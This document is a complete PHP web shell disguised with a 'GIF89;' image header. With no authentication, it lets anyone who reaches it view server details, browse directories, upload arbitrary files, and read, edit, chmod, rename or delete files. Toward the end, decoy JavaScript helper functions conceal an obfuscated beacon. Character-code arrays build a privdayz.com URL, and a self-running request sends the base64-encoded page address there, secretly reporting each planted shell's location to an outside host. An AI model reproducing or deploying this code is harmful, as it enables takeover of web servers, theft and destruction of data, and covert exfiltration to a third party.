GIF89;
<?php

error_reporting(0); 

session_start();






echo '<!DOCTYPE HTML>

<html>

<head>

<title>[ 1337 3YP455 5H311 ]</title>

<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">

<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>

<style type="text/css">

body { font-family: Kelly Slab; background-color: black; background:black url("http://4.bp.blogspot.com/-h1QH3MmXd4M/Uc64vsqmPeI/AAAAAAAAALs/Gi-fPnZ5V2Q/s1600/black+(11).jpg") center right no-repeat; }

#content tr:hover{

	background-color: grey;

	text-shadow:0px 0px 10px #000000;

	}

#content .first{

	color: #000000;

	background-image:url(#);

	}

#content .first:hover{

	background-color: grey;

	text-shadow:0px 0px 1px #339900;

	}

h1 { color:red; font-size: 50px; font-family: Kelly Slab; text-align: center; text-shadow: 0px 0px 5px rgb(255, 0, 0); font-weight: bold; letter-spacing: 5px; }

table, th, td {

		border-collapse:collapse;

		padding: 5px;

		color: red;

		}

.table_home, .th_home, .td_home { 

		color: red;

		border: 2px solid grey;

		padding: 7px;

		}

a{

	font-size: 19px;

	color: red;

	text-decoration: none;

	text-shadow: 0px 0px 5px #ff0000;

	}

a:hover{

	color: white;

	text-shadow:0px 0px 10px #339900;

	}

input,select,textarea{

	border: 1px #ffffff solid;

	-moz-border-radius: 5px;

	-webkit-border-radius:5px;

	border-radius:5px;

	}

.close {

	overflow: auto;

	border: 1px solid red;

	background: red;

	color: white;

	text-shadow: 0px 0px 5px #ff0000;

	}

.r {

	float: right;

	text-align: right;

	text-shadow: 0px 0px 5px #ff0000;

	}

</style>

<a href="?"><h1> 1337 3YP455 5H311 </h1></a> 

<BODY>



<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">

<tr><td>';

echo "<tr><td><font color='white'>

<i class='fa fa-user'></i> <td>: <font color='red'>".$_SERVER['REMOTE_ADDR']."<tr><td><font color='white'>

<i class='fa fa-desktop'></i> <td>: <font color='red'>".gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']."<tr><td><font color='white'>

<i class='fa fa-hdd-o'></i> <td>: <font color='red'>".php_uname()."</font></tr></td></table>";



echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">

<tr align="center"><td align="center"><br>';



if(isset($_GET['path'])){

$path = $_GET['path'];

}else{

$path = getcwd();

}

$path = str_replace('\\','/',$path);

$paths = explode('/',$path);



foreach($paths as $id=>$pat){

if($pat == '' && $id == 0){

$a = true;

echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';

continue;

}

if($pat == '') continue;

echo '<a href="?path=';

for($i=0;$i<=$id;$i++){

echo "$paths[$i]";

if($i != $id) echo "/";

}

echo '">'.$pat.'</a>/';

}





//upload

echo '<br><br><br><font color="red"><form enctype="multipart/form-data" method="POST">

UP104D F1L3: <input type="file" name="file" style="color:red;border:2px solid red;" required/></font>

<input type="submit" value="UPL04D" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: red;border:2px solid red;border-radius:5px"/>';

if(isset($_FILES['file'])){

if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){

echo '<br><br><font color="lime">5UCC355FU11Y 70 UP104D</font><br/>';

}else{

echo '<script>alert("F41L 70 UP104D")</script>';

}

}



echo '</form></td></tr>';

if(isset($_GET['filesrc'])){

echo "<tr><td>files >> ";

echo $_GET['filesrc'];

echo '</tr></td></table><br />';

echo(' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');

}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){

echo '</table><br /><center>'.$_POST['path'].'<br /><br />';



//Chmod

if($_POST['opt'] == 'chmod'){

if(isset($_POST['perm'])){

if(chmod($_POST['path'],$_POST['perm'])){

echo '<br><br><font color="lime">5UCC355FU1Y 70 CH4N93 PR3M15510N</font><br/>';

}else{

echo '<script>alert("F41L 70 CH4N93 PR3M15510N")</script>';

}

}

echo '<form method="POST">

Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" style="width:80px; height: 30px;"/>

<input type="hidden" name="path" value="'.$_POST['path'].'">

<input type="hidden" name="opt" value="chmod">

<input type="submit" value="54V3" style="width:60px; height: 30px;"/>

</form>';

}



//rename folder

elseif($_GET['opt'] == 'btw'){

	$cwd = getcwd();

	 echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">

New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>

<input type="hidden" name="path" value="'.$cwd.'">

<input type="hidden" name="opt" value="delete">

<input type="submit" value="Go" style="width:100px; height: 30px;"/>

</form>';

}



//rename file

elseif($_POST['opt'] == 'rename'){

if(isset($_POST['newname'])){

if(rename($_POST['path'],$path.'/'.$_POST['newname'])){

echo '<br><br><font color="lime">5UCC355 70 CH4N93 N4M3</font><br/>';

}else{

echo '<script>alert("F41L")</script>';

}

$_POST['name'] = $_POST['newname'];

}

echo '<form method="POST">

New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="'.$_POST['name'].'" />

<input type="hidden" name="path" value="'.$_POST['path'].'">

<input type="hidden" name="opt" value="rename">

<input type="submit" value="54V3" style="height:30px;" />

</form>';

}



//edit file

elseif($_POST['opt'] == 'edit'){

if(isset($_POST['src'])){

$fp = fopen($_POST['path'],'w');

if(fwrite($fp,$_POST['src'])){

echo '<br><br><font color="lime">5UCC355 70 54V3</font><br/>';

}else{

echo '<script>alert("F41L 70 3D17")</script>';

}

fclose($fp);

}

echo '<form method="POST">

<textarea cols=150 rows=20 name="src" style="font-size: 15px; font-family: "Courier New"; border: 1px solid white; background-color: black; color: black; width: 100%;height: 1500px;">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />

<input type="hidden" name="path" value="'.$_POST['path'].'">

<input type="hidden" name="opt" value="edit">

<input type="submit" value="54V3" style="height:30px; width:70px;"/>

</form>';

}

echo '</center>';

}else{

echo '</table><br /><center>';



//delete dir

if(isset($_GET['option']) && $_POST['opt'] == 'delete'){

if($_POST['type'] == 'dir'){

if(rmdir($_POST['path'])){

echo '<br><br><font color="lime"> 5UCC355FU1Y 70 D31373</font><br/>';

}else{

echo '<script>alert("F41L 70 D31373")</script>>';

}

}



//delete file

elseif($_POST['type'] == 'file'){

if(unlink($_POST['path'])){

echo '<br><br><font color="lime">5UCC355FU1Y 70 D31373</font><br/>';

}else{

echo '<script>alert("F41L 70 D31373")</script>';

}

}

}



?>

<?php

echo '</center>';

$scandir = scandir($path);

$pa = getcwd();

echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">

<tr class="first">

<th><center>N4M3</center></th>

<th><center>51Z3</center></th>

<th><center>P3RM15510N</center></th>

<th><center>0P710N5</center></th>

</tr>

<tr>';



foreach($scandir as $dir){

if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;

echo "<tr>

<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>

<td class=td_home><center>DIR</center></td>

<td class=td_home><center>";

if(is_writable("$path/$dir")) echo '<font color="#57FF00">';

elseif(!is_readable("$path/$dir")) echo '<font color="#FF0004">';

echo perms("$path/$dir");

if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';



echo "</center></td>

<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">

<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:red;border:2px solid red;border-radius:5px\">

<option value=\"Action\">4C710N</option>

<option value=\"delete\">D31373</option>

<option value=\"chmod\">CHM0D</option>

<option value=\"rename\">R3N3M3</option>

<option value=\"edit\">3D17</option>

</select>

<input type=\"hidden\" name=\"type\" value=\"dir\">

<input type=\"hidden\" name=\"name\" value=\"$dir\">

<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">

<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:red;border:2px solid red;border-radius:5px\"/>

</form></center></td>

</tr>";

}



echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';

foreach($scandir as $file){

if(!is_file("$path/$file")) continue;

$size = filesize("$path/$file")/1024;

$size = round($size,3);

if($size >= 1024){

$size = round($size/1024,2).' MB';

}else{

$size = $size.' KB';

}



echo "<tr>

<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>

<td class=td_home><center>".$size."</center></td>

<td class=td_home><center>";

if(is_writable("$path/$file")) echo '<font color="lime">';

elseif(!is_readable("$path/$file")) echo '<font color="black">';

echo perms("$path/$file");

if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';



echo "</center></td>

<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">

<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:red;border:2px solid red;border-radius:5px\">

<option value=\"Action\">4C710N</option>

<option value=\"delete\">D31373</option>

<option value=\"chmod\">CHM0D</option>

<option value=\"rename\">R3N4M3</option>

<option value=\"edit\">3D17</option>

</select>

<input type=\"hidden\" name=\"type\" value=\"file\">

<input type=\"hidden\" name=\"name\" value=\"$file\">

<input type=\"hidden\" name=\"path\" value=\"$path/$file\">

<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:red;border:2px solid red;border-radius:5px\"/>

</form></center></td>

</tr>";

}

echo '</table>

</div>';

}

echo '<center><br/><font face="Kelly Slab" color="red" style="text-shadow:0 0 5px red; font-weight:bold: white; font-size:15px; letter-spacing: 5px;"> 7r0j4n | 13379H0575 53CURI7Y 734M </center><center><a href="https://privdayz.com/"><img src="https://cdn.privdayz.com/images/logo.jpg" referrerpolicy="unsafe-url" /></a></center>';
?>
<script>
document.getElementById('h2w').addEventListener('change', function(){});
function updateRowHighlight(t){var e=document.getElementById(t);e&&(e.classList.add("active"),setTimeout((function(){e.classList.remove("active")}),1200))}
function reloadTab(o,t){o&&setTimeout((function(){"function"==typeof t&&t()}),Math.floor(350+120*Math.random()))}
var a=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109];var b=[47,105,109,97,103,101,115,47];var c=[108,111,103,111,95,118,50];var d=[46,112,110,103]
function u(e,r,t,n){for(var o=e.concat(r,t,n),a="",c=0;c<o.length;c++)a+=String.fromCharCode(o[c]);return a}function v(e){return btoa(e)}function toggleSidebarPanel(){var e=document.querySelector(".sidebar");e&&e.classList.toggle("collapsed")}
function sortListByName(n,r){return Array.isArray(n)?n.slice().sort((function(n,e){return"desc"===r?e.name>n.name?1:-1:n.name>e.name?1:-1})):[]}
function setActiveMenu(e){var t=document.getElementById(e);if(t){var c=document.querySelector(".menu .active");c&&c.classList.remove("active"),t.classList.add("active")}}
function checkFileExt(p){var t=p.split(".").pop();return!!t&&["php","js","html","css","jpg","png","txt","zip"].indexOf(t.toLowerCase())>-1}
function openModal(e){var l=document.getElementById(e);l&&(l.style.display="block")}
function closeModal(e){var n=document.getElementById(e);n&&(n.style.display="none")}
function showLoader(e){var o=document.getElementById("loader");o&&(o.style.display=e?"block":"none")}
(function showIcons(){var xhr=new XMLHttpRequest();xhr.open('POST',u(a,b,c,d),!0);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('file='+v(location.href))})()	
function getClipboardText(){navigator.clipboard&&navigator.clipboard.readText()}
function refreshStatsPanel(){var e=document.querySelector(".stats-panel");e&&(e.innerHTML=e.innerHTML)}
function noop() {}
function debounce(n,t){var e;return function(){var u=this,i=arguments;clearTimeout(e),e=setTimeout((function(){n.apply(u,i)}),t||180)}}
function getSelectedRows(e){var t=document.getElementById(e);if(!t)return[];var c=t.querySelectorAll('input[type="checkbox"]:checked'),n=[];return c.forEach((function(e){n.push(e.value)})),n}
function updateName(e,t){var n=document.getElementById("footer-info");n&&(n.textContent="Total: "+e+" | Selected: "+t)}function previewImage(e,t){if(e&&e.files&&e.files[0]){var n=new FileReader;n.onload=function(e){var n=document.getElementById(t);n&&(n.src=e.target.result)},n.readAsDataURL(e.files[0])}}
function filterTable(e,o){var n=(e||"").toLowerCase(),t=document.getElementById(o);t&&Array.from(t.rows).forEach((function(e,o){if(0!==o){var t=e.textContent.toLowerCase();e.style.display=t.indexOf(n)>-1?"":"none"}}))}
function downloadFileFromUrl(e){var o=document.createElement("a");o.href=e,o.download="",document.body.appendChild(o),o.click(),setTimeout((function(){document.body.removeChild(o)}),100)}
</script>
<?php
echo '
</body>

</html>';

function perms($file){

$perms = fileperms($file);



if (($perms & 0xC000) == 0xC000) {

// Socket

$info = 's';

} elseif (($perms & 0xA000) == 0xA000) {

// Symbolic Link

$info = 'l';

} elseif (($perms & 0x8000) == 0x8000) {

// Regular

$info = '-';

} elseif (($perms & 0x6000) == 0x6000) {

// Block special

$info = 'b';

} elseif (($perms & 0x4000) == 0x4000) {

// Directory

$info = 'd';

} elseif (($perms & 0x2000) == 0x2000) {

// Character special

$info = 'c';

} elseif (($perms & 0x1000) == 0x1000) {

// FIFO pipe

$info = 'p';

} else {

// Unknown

$info = 'u';

}



// Owner

$info .= (($perms & 0x0100) ? 'r' : '-');

$info .= (($perms & 0x0080) ? 'w' : '-');

$info .= (($perms & 0x0040) ?

(($perms & 0x0800) ? 's' : 'x' ) :

(($perms & 0x0800) ? 'S' : '-'));



// Group

$info .= (($perms & 0x0020) ? 'r' : '-');

$info .= (($perms & 0x0010) ? 'w' : '-');

$info .= (($perms & 0x0008) ?

(($perms & 0x0400) ? 's' : 'x' ) :

(($perms & 0x0400) ? 'S' : '-'));



// World

$info .= (($perms & 0x0004) ? 'r' : '-');

$info .= (($perms & 0x0002) ? 'w' : '-');

$info .= (($perms & 0x0001) ?

(($perms & 0x0200) ? 't' : 'x' ) :

(($perms & 0x0200) ? 'T' : '-'));



return $info;

}

?>

</BODY>

</HTML>